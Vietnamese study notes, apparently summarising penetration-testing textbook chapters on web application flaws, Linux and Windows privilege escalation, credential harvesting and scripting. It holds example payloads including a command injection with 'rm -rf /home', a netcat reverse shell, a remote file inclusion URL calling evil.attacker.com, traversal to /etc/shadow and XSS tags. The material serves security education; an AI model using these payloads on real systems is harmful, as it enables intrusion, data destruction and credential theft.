I. Khai thác lỗ hổng ứng dụng: Một điểm khởi đầu hấp dẫn cho kẻ tấn công

Các ứng dụng, đặc biệt là ứng dụng web, thường là mục tiêu dễ bị tấn công nhất trong một tổ chức do số lượng lớn, thiếu các bản vá lỗi kịp thời cho các công cụ bên thứ ba, và các lỗ hổng lớn hơn trong các ứng dụng tự phát triển. “Các ứng dụng được phát triển tùy chỉnh thường có lỗ hổng bảo mật lớn hơn vì không có nhà cung cấp nào tạo và phát hành các bản vá bảo mật.” Với việc nhiều ứng dụng dựa trên web và tiếp xúc với Internet, chúng trở thành “mục tiêu hấp dẫn cho những kẻ xâm nhập độc hại tìm cách giành được chỗ đứng trong một tổ chức.”

II. Các lỗ hổng phổ biến và kỹ thuật khai thác

1. Lỗ hổng Injection (Chèn mã)

Injection vulnerabilities là cơ chế chính mà kẻ tấn công sử dụng để đột nhập ứng dụng web và truy cập hệ thống hỗ trợ. “Các lỗ hổng này cho phép kẻ tấn công cung cấp một số loại mã cho ứng dụng web làm đầu vào và lừa máy chủ web thực thi mã đó hoặc cung cấp cho một máy chủ khác để thực thi.”

  • Input Validation (Xác thực đầu vào): Là công cụ quan trọng nhất để bảo vệ khỏi Injection.
  • Danh sách cho phép (Whitelist): “Hình thức xác thực đầu vào hiệu quả nhất sử dụng danh sách đầu vào cho phép, trong đó nhà phát triển mô tả loại đầu vào chính xác mà người dùng mong đợi và sau đó xác minh rằng đầu vào khớp với cation cụ thể đó trước khi chuyển đầu vào cho các quy trình hoặc máy chủ khác.”
  • Danh sách đen (Blacklist): Được sử dụng khi khó mô tả tất cả các đầu vào hợp lệ, thay vào đó mô tả các đầu vào độc hại cần chặn (ví dụ: thẻ HTML, lệnh SQL).
  • Xác thực phía máy chủ: Quan trọng là xác thực phải xảy ra trên máy chủ, không phải trên trình duyệt của khách hàng, vì xác thực dựa trên trình duyệt có thể dễ dàng bị vượt qua.
  • Parameter Pollution (Ô nhiễm tham số): Kỹ thuật tấn công vượt qua xác thực đầu vào bằng cách gửi nhiều hơn một giá trị cho cùng một biến đầu vào, dựa vào lỗi xử lý của nền tảng web.
  • Web Application Firewalls (WAFs): Hoạt động ở lớp ứng dụng, kiểm tra và xác thực đầu vào (whitelist/blacklist) trước khi chuyển đến máy chủ web, đóng vai trò là “một thành phần quan trọng của lớp bảo vệ chống lại các lỗ hổng ứng dụng web.”
  • SQL Injection Attacks: Cố gắng gửi lệnh SQL thông qua ứng dụng web đến cơ sở dữ liệu phụ trợ.
  • Blind SQL Injection (Tiêm SQL mù): Được sử dụng khi kẻ tấn công không thể xem trực tiếp kết quả của truy vấn.
  • Content-Based: Quan sát sự thay đổi trong nội dung trang web (ví dụ: trang hiển thị kết quả hoặc không có kết quả) để suy luận thành công của cuộc tấn công.
  • Timing-Based: Sử dụng độ trễ thời gian trong phản hồi của ứng dụng để suy luận thông tin từ cơ sở dữ liệu (ví dụ: WAITFOR DELAY ’00:00:15′). Các công cụ như SQLmap và Metasploit tự động hóa các cuộc tấn công này.
  • Code Injection Attacks (Tấn công chèn mã): Loại tấn công chung hơn, tìm cách chèn mã do kẻ tấn công viết vào mã hợp pháp. SQL Injection là một ví dụ.
  • Command Injection Attacks (Tấn công chèn lệnh): Xảy ra khi mã ứng dụng gọi lại hệ điều hành để thực thi lệnh, cho phép kẻ tấn công thao túng trực tiếp hệ điều hành (ví dụ: mchapple & rm -rf /home).

2. Lỗ hổng xác thực (Authentication Vulnerabilities)

Tìm cách phá vỡ tính bảo mật của các hệ thống xác thực để giành quyền truy cập trái phép.

  • Password Authentication (Xác thực bằng mật khẩu):Mật khẩu dễ bị tấn công do là kỹ thuật dựa trên kiến thức.
  • Các phương pháp thu thập mật khẩu: tấn công kỹ thuật xã hội, nghe lén lưu lượng không mã hóa, sử dụng lại mật khẩu từ các trang bị xâm nhập, tấn công bruteforce thông tin xác thực yếu.
  • Mật khẩu mặc định: Nhiều hệ thống vận chuyển với tài khoản quản trị mặc định không được thay đổi, là điểm yếu lớn.
  • Session Attacks (Tấn công phiên): Chiếm quyền kiểm soát một phiên đã được xác thực hiện có.
  • Dựa trên cookie HTTP được sử dụng để quản lý phiên người dùng.
  • Cookie Stealing and Manipulation (Đánh cắp và thao túng cookie): Kẻ tấn công có thể lấy cookie thông qua nghe lén mạng, cài đặt phần mềm độc hại, hoặc tấn công man-in-the-middle, sau đó sử dụng chúng để mạo danh người dùng. “Nếu kẻ tấn công có thể đánh cắp cookie của ai đó, thì chúng có thể mạo danh người dùng đó để truy cập vào trang web đã cấp cookie.”
  • Unvalidated Redirects (Chuyển hướng không được xác thực): Cho phép kẻ tấn công thay đổi URL chuyển hướng sau giao dịch, hướng người dùng đến các trang web độc hại (ví dụ: http://www.mycompany.com/ordering.php?redirect=http%3a//www.evilhacker.com/passwordstealer.htm). Cần thực hiện các chuyển hướng đã được xác thực, kiểm tra URL chuyển hướng so với danh sách đã phê duyệt hoặc giới hạn trong cùng một miền.
  • Kerberos Exploits:Kerberos là một giao thức xác thực tập trung sử dụng mã hóa.
  • Sự thỏa hiệp của Trung tâm phân phối khóa (KDC) là rất nghiêm trọng, cho phép kẻ tấn công mạo danh bất kỳ người dùng nào.
  • Các cuộc tấn công phổ biến: tấn công tài khoản quản trị viên, tái sử dụng vé Kerberos (pass-the-ticket, pass-the-key), tấn công tập trung vào phiếu cấp vé (TGT) – “tấm vé vàng” cho phép truy cập hoàn toàn.

3. Lỗ hổng ủy quyền (Authorization Vulnerabilities)

Cho phép kẻ tấn công vượt quá cấp độ truy cập mà họ được ủy quyền.

  • Insecure Direct Object References (Tham chiếu đối tượng trực tiếp không an toàn): Xảy ra khi ứng dụng truy xuất thông tin trực tiếp từ cơ sở dữ liệu dựa trên đối số người dùng cung cấp (ví dụ: documentID=1842) mà không thực hiện kiểm tra ủy quyền, cho phép người dùng xem thông tin ngoài thẩm quyền của họ. “Nếu ứng dụng không thực hiện kiểm tra ủy quyền, người dùng có thể được phép xem thông tin vượt quá thẩm quyền của họ.”
  • Directory Traversal (Truy xuất thư mục): Xảy ra khi máy chủ web cấu hình sai cho phép người dùng điều hướng cấu trúc thư mục và truy cập các tệp nhạy cảm (ví dụ: http://www.mycompany.com/../../../etc/shadow).
  • File Inclusion (Bao gồm tệp): Đưa truy xuất thư mục lên cấp độ tiếp theo, cho phép thực thi mã có trong tệp.
  • Local File Inclusion: Thực thi mã từ các tệp trên cùng máy chủ (ví dụ: http://www.mycompany.com/app.php?include=C:\\www\\uploads\\attack.exe).
  • Remote File Inclusion: Thực thi mã từ máy chủ từ xa, đặc biệt nguy hiểm vì kẻ tấn công kiểm soát trực tiếp mã (ví dụ: http://www.mycompany.com/app.php?include=http://evil.attacker.com/attack.exe). Thường được khai thác để tải web shell.

4. Lỗ hổng ứng dụng web khác (Other Web Application Vulnerabilities)

  • Cross-Site Scripting (XSS): Kẻ tấn công chèn mã HTML của chính họ vào một trang web, được thực thi bởi trình duyệt của nạn nhân.
  • Reflected XSS: Mã độc được chèn vào input của người dùng và được “phản ánh” trực tiếp trên trang web (ví dụ: Mike<SCRIPT>alert(‘hello’)</SCRIPT>). Kẻ tấn công có thể nhúng input này vào một liên kết để lừa người dùng. Giải pháp là xác thực đầu vào mạnh mẽ, không cho phép thẻ <SCRIPT> hoặc chấp nhận input theo mẫu cụ thể.
  • Stored/Persistent XSS: Mã script được lưu trữ trên máy chủ web (ví dụ: trong một bài đăng trên bảng tin) và được thực thi mỗi khi người dùng truy cập trang đó.
  • DOM-based XSS: Các cuộc tấn công XSS ẩn mã tấn công trong Mô hình Đối tượng Tài liệu (DOM) và được gọi bởi một phương thức DOM, có thể thoát khỏi sự giám sát của các công cụ bảo mật.
  • Cross-Site Request Forgery (CSRF/XSRF): Khai thác sự tin cậy mà các trang web từ xa có trong hệ thống của người dùng. Kẻ tấn công nhúng mã vào một trang web để gửi lệnh đến trang web thứ hai (ví dụ: trang ngân hàng) mà người dùng đang đăng nhập, khiến lệnh được thực hiện mà người dùng không hay biết. Bảo vệ bằng cách sử dụng mã thông báo an toàn hoặc kiểm tra URL giới thiệu.
  • Clickjacking: Sử dụng các yếu tố thiết kế trang web để đánh lừa người dùng nhấp vào các liên kết thực hiện hành động độc hại (ví dụ: nhấp vào quảng cáo nhưng lại vô tình thay đổi cài đặt bảo mật).

III. Các phương pháp mã hóa không an toàn (Unsecure Coding Practices)

Các nhà phát triển có thể vô tình làm suy yếu bảo mật ứng dụng thông qua các phương pháp mã hóa kém.

  • Source Code Comments (Nhận xét mã nguồn): Nhận xét có thể cung cấp bản đồ chi tiết về cách mã hoạt động hoặc thậm chí chứa các chi tiết bảo mật quan trọng. Cần xóa nhận xét khỏi phiên bản sản phẩm của mã trước khi triển khai.
  • Error Handling (Xử lý lỗi):Thiếu xử lý lỗi có thể khiến mã dễ bị tấn công bởi các tình huống không mong muốn (ví dụ: tràn số nguyên). Xử lý lỗi là kiểm soát phụ ngay cả khi có xác thực đầu vào.
  • Xử lý lỗi quá dài dòng có thể tiết lộ thông tin nhạy cảm về hoạt động bên trong của mã (ví dụ: chi tiết truy vấn SQL trong thông báo lỗi), giúp kẻ tấn công tìm cách khai thác.
  • Hard-Coded Credentials (Thông tin đăng nhập được mã hóa cứng):Lỗ hổng cửa sau (Backdoor): Tài khoản bảo trì được mã hóa cứng cho phép bỏ qua xác thực thông thường.
  • Bao gồm thông tin xác thực truy cập cho các dịch vụ khác (ví dụ: khóa API) trong mã nguồn có thể bị tiết lộ nếu mã bị công khai (ví dụ: trên GitHub).
  • Race Conditions (Điều kiện chạy đua): Xảy ra khi tính bảo mật phụ thuộc vào chuỗi sự kiện.
  • Time-of-check-to-time-of-use (TOCTTOU): Chương trình kiểm tra quyền truy cập quá xa trước yêu cầu tài nguyên (ví dụ: quyền được kiểm tra khi đăng nhập nhưng không được cập nhật cho đến lần đăng nhập tiếp theo). Cần đánh giá quyền truy cập tại thời điểm mỗi yêu cầu.
  • Unprotected APIs (API không được bảo vệ): Các giao diện lập trình ứng dụng (API) nếu không được bảo vệ đúng cách (ví dụ: không sử dụng xác thực thích hợp, không qua kênh mã hóa) có thể dẫn đến việc sử dụng trái phép các chức năng.
  • Unsigned Code (Mã không được ký): Thiếu chữ ký mã cho phép người dùng vô tình chạy mã không xác thực, vì họ không thể xác minh tính toàn vẹn và nguồn gốc của mã.

IV. Công cụ kiểm thử ứng dụng (Application Testing Tools)

Kiểm thử bảo mật phần mềm là rất quan trọng, vì “77% trong số hơn 400.000 ứng dụng mà họ đã quét có chứa các lỗ hổng bảo mật.” Các công cụ này giúp phân tích mã để hiểu chức năng, phát hiện lỗi và lỗ hổng.

  • Static Application Security Testing (SAST):Tiến hành bằng cách xem xét mã nguồn của ứng dụng.
  • Là loại kiểm thử hộp trắng (“full visibility to the tester”).
  • Không chạy chương trình; tập trung vào cách mã được viết và dự định làm gì.
  • Có thể tự động (hiệu quả với các vấn đề đã biết) hoặc thủ công (“code comprehension”).
  • Ví dụ công cụ: FindBugs, findsecbugs (Java), SonarQube, YASCA (nhiều ngôn ngữ).
  • Dynamic Application Security Testing (DAST):Dựa vào việc thực thi mã trong khi cung cấp đầu vào để kiểm tra phần mềm.
  • Có thể tự động hoặc thủ công.
  • Interception Proxies (Proxy chặn):Chạy trên hệ thống của người kiểm thử, chặn các yêu cầu từ trình duyệt đến máy chủ web để thao tác thủ công và cố gắng khai thác lỗ hổng.
  • Cho phép vượt qua các kỹ thuật xác thực đầu vào dựa trên trình duyệt.
  • Ví dụ công cụ: Zed Attack Proxy (ZAP) của OWASP, Burp Proxy (một phần của Burp Suite).
  • Fuzzing:Công cụ kiểm thử tự động tạo ra hàng nghìn biến thể của đầu vào để kiểm tra nhiều kết hợp đầu vào hơn khả năng thủ công.
  • Mục đích chính là xác định và sửa chữa lỗi phần mềm.
  • Ví dụ công cụ: Peach Fuzzer, American Fuzzy Lop (AFL).
  • Debuggers (Trình gỡ lỗi):Được thiết kế để hỗ trợ nhà phát triển nhưng cũng cho phép người kiểm thử thâm nhập thực hiện phân tích động các tệp thực thi.
  • Ví dụ công cụ: Immunity Debugger, GDB (Linux), OllyDbg (Windows, cấp độ hợp ngữ), WinDBG (Windows), IDA (thương mại).
  • Có thể được sử dụng để dịch ngược mã (chuyển đổi tệp thực thi trở lại mã nguồn), mặc dù khá khó khăn và hiếm khi thành công.
  • Mobile Tools (Công cụ di động):Drozer: Khung kiểm thử và tấn công bảo mật cho thiết bị và ứng dụng Android.
  • APKX và APK Studio: Dịch ngược gói ứng dụng Android (APK).

V. Kết luận

Các lỗ hổng ứng dụng cung cấp cơ hội lớn cho người kiểm thử thâm nhập để có được chỗ đứng, khai thác và xoay vòng quyền truy cập ban đầu. Sự phức tạp của các hệ sinh thái ứng dụng web tạo ra nhiều kiểu tấn công khác nhau. Các công cụ kiểm thử như SAST và DAST, cùng với các kỹ thuật khai thác như injection, session hijacking, directory traversal, XSS, CSRF, và clickjacking, là những yếu tố quan trọng mà cả chuyên gia bảo mật và kẻ tấn công đều sử dụng để đánh giá và khai thác tình trạng bảo mật của ứng dụng.

Chương 10 Khai thác lỗ hổng máy chủ và phương pháp kiểm thử xâm nhập

Tài liệu này tổng hợp các kỹ thuật, công cụ và phương pháp luận chính được sử dụng để khai thác lỗ hổng trên các máy chủ, hệ thống ảo hóa, thiết bị di động và thông tin xác thực, nhằm phục vụ cho mục đích kiểm thử xâm nhập. Nó bao gồm các chiến lược tấn công cụ thể cho hệ điều hành Linux và Windows, cũng như các phương pháp đa nền tảng và cách duy trì quyền truy cập từ xa.

1. Khai thác hệ thống Linux

Tấn công Linux đòi hỏi sự hiểu biết về sự đa dạng của các bản phân phối và cách chúng có thể hoạt động khác nhau. Tuy nhiên, nhiều lỗ hổng và kỹ thuật tấn công phổ biến vẫn được chia sẻ.

  • Lỗi hệ điều hành và cấu hình sai: Các lỗi trong hệ điều hành, dịch vụ được cấu hình sai và cài đặt mặc định là những điểm khởi đầu phổ biến.
  • Leo thang đặc quyền: Khi có được chỗ đứng ban đầu, việc khám phá và nâng cao quyền truy cập là bước tiếp theo. Các kỹ thuật phổ biến bao gồm:
  • Chương trình SUID/SGID: Các tệp thực thi với bit SUID (Set User ID) hoặc SGID (Set Group ID) được đặt sẽ chạy với quyền của chủ sở hữu hoặc nhóm của tệp, chứ không phải người dùng đã khởi chạy. Người kiểm thử xâm nhập có thể tìm kiếm các tệp này bằng lệnh find / -perm -4000. Một số tệp thực thi Linux phổ biến có thể bị lạm dụng nếu có SUID bao gồm cp, find, Bash shell, more, less, vim, nano, và thậm chí các phiên bản cũ của Nmap.
  • Sticky Bits: Cờ “sticky bit” (hay cờ xóa hạn chế) trên một tệp hoặc thư mục (thường thấy với chữ ‘t’ trong danh sách thư mục) ngăn người dùng không có đặc quyền xóa hoặc đổi tên tệp/thư mục trừ khi họ là chủ sở hữu.
  • SUDO không an toàn: Cấu hình sudoers (/etc/sudoers) cho phép người dùng nâng cao đặc quyền. Việc kiểm tra tệp này có thể tiết lộ các tài khoản có khả năng chạy các chương trình dưới quyền root, cho phép leo thang đặc quyền, ví dụ: “Quyền truy cập để chạy Python hoặc Perl dưới dạng root đôi khi được yêu cầu đối với các tập lệnh trên hệ thống và một tài khoản có đặc quyền thấp khác có thể có khả năng này.”
  • Tấn công nâng cấp Shell: Thoát khỏi các shell bị hạn chế (như rbash, rksh) bằng cách tìm kiếm các lệnh SUID, khả năng sử dụng sudo, các ngôn ngữ script (Perl, Python, Ruby), hoặc các toán tử chuyển hướng và ký tự thoát.
  • Tấn công Ret2libc: Tấn công tràn bộ đệm nhắm vào thư viện C trên các hệ thống Linux/Unix. Mặc dù ASLR (Address Space Layout Randomization) trên các máy 64 bit hiện đại làm giảm hiệu quả, rò rỉ thông tin vẫn có thể giúp vượt qua ASLR.
  • Khai thác Kernel Linux: Nhân Linux là cốt lõi của hệ điều hành. Khai thác nhân có thể cung cấp quyền truy cập mạnh mẽ. Các loại lỗ hổng nhân phổ biến bao gồm từ chối dịch vụ, thực thi mã, lỗi tràn bộ đệm, hỏng bộ nhớ, duyệt thư mục, bỏ qua bảo mật và leo thang đặc quyền. “Trong phần lớn các trường hợp, việc khai thác nhân Linux quan trọng nhất yêu cầu quyền truy cập cục bộ vào hệ thống.” Có thể kiểm tra phiên bản hệ điều hành và nhân bằng lsb_release -a và uname -a.

2. Khai thác hệ thống Windows

Hệ thống Windows, bao gồm máy trạm và máy chủ, yêu cầu các kỹ thuật tấn công và khai thác cụ thể. Trọng tâm chính là thu thập thông tin xác thực và nhắm mục tiêu các lỗ hổng Windows.

  • Thu thập thông tin xác thực:cPassword: Mật khẩu được lưu trữ trong thuộc tính cPassword của Chính sách Nhóm (Group Policy) có thể dễ dàng được giải mã bằng khóa công khai tĩnh của Microsoft, đặc biệt từ tệp Groups.xml trong $SYSVOL. Các mô-đun Metasploit như post/windows/collect/credentials/gpp hoặc các mô-đun PowerSploit như Get-CachedGPPPassword và Get-GPPPassword có thể được sử dụng.
  • Cleartext Credentials in LDAP: Giao thức LDAP trong Active Directory có thể gửi thông tin xác thực dưới dạng văn bản thuần túy nếu SSL/TLS không được thực thi. “Sự kiện 2886 cho biết rằng ký LDAP không được thực thi và có thể liên kết LDAP rõ ràng.”
  • Service Account Attacks và Kerberoasting: Tài khoản dịch vụ thường có mật khẩu không hết hạn. Kerberoasting liên quan đến việc yêu cầu phiếu dịch vụ (service tickets) cho các Service Principal Names (SPN), sau đó bẻ khóa chúng ngoại tuyến để lấy mật khẩu tài khoản dịch vụ. Quy trình bao gồm quét AD để tìm SPN, yêu cầu vé dịch vụ, trích xuất vé bằng Mimikatz và bẻ khóa bằng John the Ripper sau khi chuyển đổi định dạng bằng kirbi2john.py.
  • Acquiring và sử dụng giá trị Hash Windows: Windows sử dụng hash NTLM cho xác thực. Mimikatz là công cụ phổ biến để trích xuất các hash này. Tấn công Pass-the-hash liên quan đến việc trình bày các hash NTLM trực tiếp cho các dịch vụ (SMB, WMI) hoặc LSASS, hoặc sử dụng các công cụ như Sysinternals psexec có thể chấp nhận hash NTLM thay vì mật khẩu.
  • Credentials in LSASS: Dịch vụ LSASS (Local Security Authority Subsystem Service) trên các phiên bản Windows cũ hơn (đến Windows 7) lưu trữ mật khẩu ở dạng văn bản thuần túy. Trên các phiên bản mới hơn, mật khẩu được mã hóa, nhưng có thể thay đổi cài đặt Registry để kích hoạt bộ nhớ đệm.
  • LSA Secrets: Vị trí Registry HKEY_LOCAL_MACHINE/Security/Policy/Secrets chứa mật khẩu người dùng đã đăng nhập ở dạng mã hóa, nhưng khóa mã hóa được lưu trữ trong cùng một khóa Chính sách.
  • Unattended Installation: Dịch vụ Windows Deployment Services (WDS) có thể lưu trữ mật khẩu quản trị viên cục bộ dưới dạng văn bản thuần túy hoặc Base-64 mã hóa trong các tệp như C:\unattend.xml hoặc C:\Windows\Panther\Unattend.xml. Metasploit có mô-đun post/windows/collect/enum_unattend để khai thác.
  • SAM Database: Cơ sở dữ liệu Security Accounts Manager (SAM) chứa các hash mật khẩu có thể dễ dàng được trích xuất bằng Mimikatz hoặc chức năng Mimikatz tích hợp trong Metasploit, yêu cầu đặc quyền thích hợp (debug privilege, NT Authority/System).
  • Các kỹ thuật tấn công khác:DLL Hijacking: Thay thế DLL gốc bằng DLL độc hại, lợi dụng thứ tự tìm kiếm của Windows, sửa đổi Registry, tải DLL song song, hoặc sử dụng các DLL Phantom.
  • Unquoted Service Paths: Các dịch vụ Windows không đặt đường dẫn tệp thực thi trong dấu ngoặc kép có thể bị khai thác bằng cách đặt tệp thực thi độc hại vào một thư mục cha trong đường dẫn. Lệnh wmic có thể giúp tìm các đường dẫn dịch vụ không được trích dẫn. Metasploit có mô-đun /exploit/windows/local/trusted_service_path.
  • Writeable Services: Các dịch vụ Windows cung cấp quyền ghi vào dịch vụ hoặc thư mục chứa dịch vụ có thể bị tấn công. Công cụ accesschk của SysInternals có thể kiểm tra quyền. Nếu một dịch vụ chạy dưới tài khoản LocalSystem và có quyền ghi, kẻ tấn công có thể thay đổi đường dẫn nhị phân để chạy lệnh tùy ý.
  • Windows Credential Manager: Lưu trữ mật khẩu trình duyệt và tài nguyên mạng. Các công cụ như LaZagne có thể truy xuất mật khẩu văn bản rõ.
  • Windows Kernel Exploits: Tương tự như Linux, nhân Windows có thể bị tấn công để đạt được quyền truy cập cấp cao. “Hầu hết các khai thác nhân Windows cũng yêu cầu quyền truy cập cục bộ vào hệ thống để khai thác”.

3. Khai thác đa nền tảng

Một số kỹ thuật khai thác không phụ thuộc vào hệ điều hành cụ thể mà tập trung vào các vấn đề chung.

  • Quyền tệp/thư mục không an toàn: Cấu trúc quyền bị định nghĩa sai hoặc quyền truy cập quá rộng vào các tệp và thư mục. Công cụ AccessEnum và Accesschk của Sysinternals (Windows) hoặc lệnh ls kết hợp grep (Linux) có thể giúp phát hiện.
  • Thông tin xác thực được lưu trữ: Nhiều phần mềm bên thứ ba (VNC, PuTTY, McAfee) lưu trữ mật khẩu hoặc thông tin xác thực ở dạng dễ truy xuất.
  • Keylogger: Phần mềm hoặc phần cứng keylogger có thể ghi lại các lần nhấn phím để thu thập thông tin xác thực và các thông tin nhạy cảm khác. Metasploit Meterpreter tích hợp keylogger.
  • Cài đặt tài khoản mặc định: Các hệ thống, thiết bị và ứng dụng thường giữ các tài khoản mặc định với mật khẩu ban đầu. Các trang web như defaultpassword.com cung cấp danh sách mật khẩu mặc định.

4. Truy cập từ xa và duy trì

Duy trì quyền truy cập từ xa là một phần quan trọng để khai thác liên tục và xoay vòng.

  • SSH: Phương pháp truy cập từ xa được mã hóa phổ biến cho Linux. Có thể dùng để chuyển tiếp cổng và che giấu lưu lượng.
  • NETCAT và Ncat: Các công cụ nhẹ để thiết lập reverse shell hoặc bind shell trên cả Linux và Windows. “Dễ dàng thiết lập một trình bao ngược với NETCAT trên Linux: nc [IP của hệ thống từ xa] [cổng] -e /bin/sh”
  • Proxies và Proxychains: Sử dụng proxy để ẩn lưu lượng truy cập và xoay vòng qua các mạng được bảo vệ. proxychains có thể kết hợp nhiều proxy.
  • Metasploit và Remote Access: Metasploit cung cấp nhiều mô-đun shell từ xa (bind shell, reverse shell) và Meterpreter với nhiều tùy chọn kết nối.

5. Tấn công máy ảo và container

Việc xâm nhập các môi trường ảo hóa hoặc container là mục tiêu phổ biến, đặc biệt là cố gắng thoát khỏi sandbox để tấn công hypervisor hoặc máy chủ vật lý bên dưới.

  • Phân biệt VM và Container: Máy ảo là một hệ thống hoàn chỉnh với phần cứng giả lập, trong khi container chạy trên cùng nhân hệ điều hành của máy chủ và chia sẻ các tệp nhị phân/thư viện ở chế độ chỉ đọc, nhẹ hơn và cách ly ứng dụng.
  • Tấn công máy ảo: Thường tuân theo quy trình tấn công hệ thống vật lý. Có thể phát hiện ảo hóa bằng cách kiểm tra phần cứng hiển thị cho HĐH (ví dụ: wmic baseboard get manufacturer,product trên Windows, systemd-detect-virt hoặc demidecode trên Linux, hoặc kiểm tra ID đĩa). Mặc dù tấn công VM Escape là lý tưởng, nhưng chúng hiếm khi thành công trừ khi có khai thác mới chưa được vá.
  • Tấn công Container: Thường bắt đầu bằng việc xâm nhập ứng dụng trong container, sau đó cố gắng truy cập máy chủ của container. Có thể chạy Docker client từ container bị tấn công để kết nối với daemon Docker trên máy chủ.

6. Bảo mật thiết bị vật lý

Khi có quyền truy cập vật lý, nhiều cuộc tấn công có thể được thực hiện.

  • Cold-Boot Attacks: Khôi phục khóa mã hóa từ bộ nhớ hệ thống đang chạy bằng cách loại bỏ module bộ nhớ hoặc khởi động lại bằng ổ đĩa di động.
  • Serial Consoles: Quyền truy cập bảng điều khiển nối tiếp (qua cổng nối tiếp 9 chân hoặc RJ45) trên các thiết bị mạng, IoT có thể cho phép truy cập quản trị hoặc đặt lại mật khẩu.
  • JTAG Debug Pins and Ports: Cổng gỡ lỗi phần cứng cung cấp kết nối nối tiếp, cho phép khôi phục firmware, phân tích hệ điều hành để tìm lỗ hổng, hoặc trích xuất mật khẩu/khóa mã hóa trực tiếp từ bộ nhớ.

7. Tấn công thiết bị di động

Thường tập trung vào các ứng dụng Android và iOS, bao gồm phân tích dữ liệu cục bộ, SQL injection, thu thập dữ liệu không được mã hóa, tấn công SSL/TLS và root thiết bị.

  • Công cụ: Drozer (khung đánh giá bảo mật Android), APKX (trình dịch ngược Java cho gói Android), APK Studio (IDE cho ứng dụng Android thiết kế ngược).
  • Tấn công sinh trắc học: Đánh lừa xác thực vân tay hoặc khuôn mặt bằng cách tái tạo dữ liệu sinh trắc học.

8. Tấn công thông tin xác thực

Một chủ đề xuyên suốt, liên quan đến việc thu thập và bẻ khóa mật khẩu.

  • Thu thập thông tin xác thực: Mimikatz (Windows), creddump (cacheump, lsadump, pwdump trong Kali Linux). Mật khẩu Linux thường ở /etc/shadow (yêu cầu quyền root để truy cập). Các phương pháp khác bao gồm trojan hóa công cụ truy cập từ xa, tìm kiếm khóa SSH, hoặc chặn xác thực.
  • Tấn công xác thực sinh trắc học: Đòi hỏi hiểu biết về cách thiết bị mục tiêu thu thập dữ liệu sinh trắc học và cách tái tạo nó.
  • Bẻ khóa mật khẩu ngoại tuyến: Sử dụng các công cụ khôi phục mật khẩu để tìm mật khẩu khớp với hash.
  • Hashcat: “một tiện ích bẻ khóa mật khẩu sử dụng các đơn vị xử lý đồ họa (GPU) để bẻ khóa mật khẩu với tốc độ rất cao.”
  • RainbowCrack: Dựa trên bảng cầu vồng (precomputed tables) để tra cứu hash.
  • John the Ripper: “tự động phát hiện nhiều hàm băm phổ biến trong khi cung cấp hỗ trợ cho các hàm băm mật khẩu Linux và Windows hiện đại, cũng như các từ điển tùy chỉnh và các tính năng khác.”
  • Cain and Abel: Một công cụ cũ cho Windows NT, 2000, XP, vẫn có thể xuất hiện trong các bài kiểm tra.
  • Kiểm thử thông tin xác thực và Brute-Forcing:Hydra (thc-hydra): Công cụ tấn công từ điển brute-force cho nhiều giao thức và dịch vụ (SSH, HTTP/HTTPS, SMB, cơ sở dữ liệu).
  • Medusa: Tương tự Hydra, hỗ trợ nhiều giao thức.
  • Patator: Một công cụ khác trong cùng lớp, mạnh mẽ nhưng phức tạp hơn khi sử dụng.
  • Danh sách từ và từ điển: Xây dựng danh sách từ tùy chỉnh dựa trên thông tin thu thập được về tổ chức mục tiêu (từ khóa chung, cụm từ, thông tin cá nhân). CeWL có thể tạo danh sách từ từ các trang web.
  • Brute-Forcing thư mục và tên tệp: Tìm kiếm các vị trí có thể chứa mật khẩu hoặc các tệp nhạy cảm.
  • W3AF (Web Application Attack and Audit Framework): Trình quét bảo mật ứng dụng web mã nguồn mở bao gồm brute-force thư mục và tên tệp.
  • DirBuster: Ứng dụng Java cũ được thiết kế để brute-force thư mục và tên tệp trên máy chủ web.

Tóm lại, việc kiểm thử xâm nhập máy chủ là một quá trình đa diện, yêu cầu kiến thức sâu rộng về các lỗ hổng hệ điều hành, kỹ thuật leo thang đặc quyền, thu thập thông tin xác thực, duy trì quyền truy cập và các phương pháp tấn công chuyên biệt cho từng môi trường (Linux, Windows, ảo hóa, di động, vật lý).

Chương 11 Các Kịch Bản cho Thử Nghiệm Thâm Nhập

Tài liệu này cung cấp một cái nhìn tổng quan về vai trò thiết yếu của việc viết kịch bản trong thử nghiệm thâm nhập, tập trung vào bốn ngôn ngữ kịch bản phổ biến nhất: Bash, PowerShell, Ruby và Python. Nó nhấn mạnh cách kịch bản tự động hóa các tác vụ lặp đi lặp lại và đưa ra các khái niệm lập trình cơ bản như biến, mảng, toán tử so sánh, thao tác chuỗi, kiểm soát luồng (bao gồm thực thi có điều kiện và vòng lặp) và xử lý lỗi. Mục tiêu chính là giúp người kiểm tra thâm nhập hiểu và phân tích các kịch bản cơ bản.

1. Vai trò của Kịch bản trong Thử nghiệm Thâm nhập

Thử nghiệm thâm nhập thường liên quan đến các tác vụ “công việc tẻ nhạt”“cực kỳ lặp đi lặp lại” như quét mạng lớn hoặc kiểm tra thông tin đăng nhập ứng dụng web bằng phương pháp vét cạn. Nếu thực hiện thủ công, những tác vụ này sẽ “tốn nhiều thời gian và trí óc đến mức hầu như không thể thực hiện được.” Ngôn ngữ kịch bản cung cấp “một phương tiện để tự động hóa các tác vụ lặp đi lặp lại này.”

Người kiểm tra thâm nhập không cần phải là kỹ sư phần mềm chuyên nghiệp mà cần có “khả năng đọc các tập lệnh khá đơn giản được viết bằng nhiều ngôn ngữ phổ biến và điều chỉnh chúng theo nhu cầu riêng của họ.”

2. Các Ngôn ngữ Kịch bản Phổ biến cho Thử nghiệm Thâm nhập

Việc lựa chọn ngôn ngữ kịch bản phù hợp phụ thuộc vào:

  • “Các tiêu chuẩn trong tổ chức của bạn”
  • “(Các) hệ điều hành của thiết bị sẽ chạy các tập lệnh bạn tạo”
  • “Tính sẵn có của các thư viện và gói hỗ trợ công việc của bạn”
  • “Sở thích cá nhân”

Bốn ngôn ngữ được sử dụng phổ biến nhất là Bash, PowerShell, Ruby và Python. Tài liệu giới thiệu từng ngôn ngữ bằng cách trình bày một kịch bản “Hello, world!” đơn giản để đảm bảo môi trường đã được thiết lập đúng cách.

2.1 Bash (Bourne-again shell)

  • Mô tả: Thường được sử dụng trên hệ thống Linux và Mac, môi trường dòng lệnh mặc định. Cung cấp quyền truy cập dòng lệnh cho quản trị viên. Các tệp văn bản chứa lệnh Bash được gọi là tập lệnh Bash.
  • Cú pháp “Hello, world!”:#!/bin/bash
  • echo “Hello, world!”
  • Quy ước tệp: .sh (ví dụ: hello.sh).
  • Thực thi: Cần đặt quyền thực thi (chmod u+x hello.sh) sau đó chạy (./hello.sh).
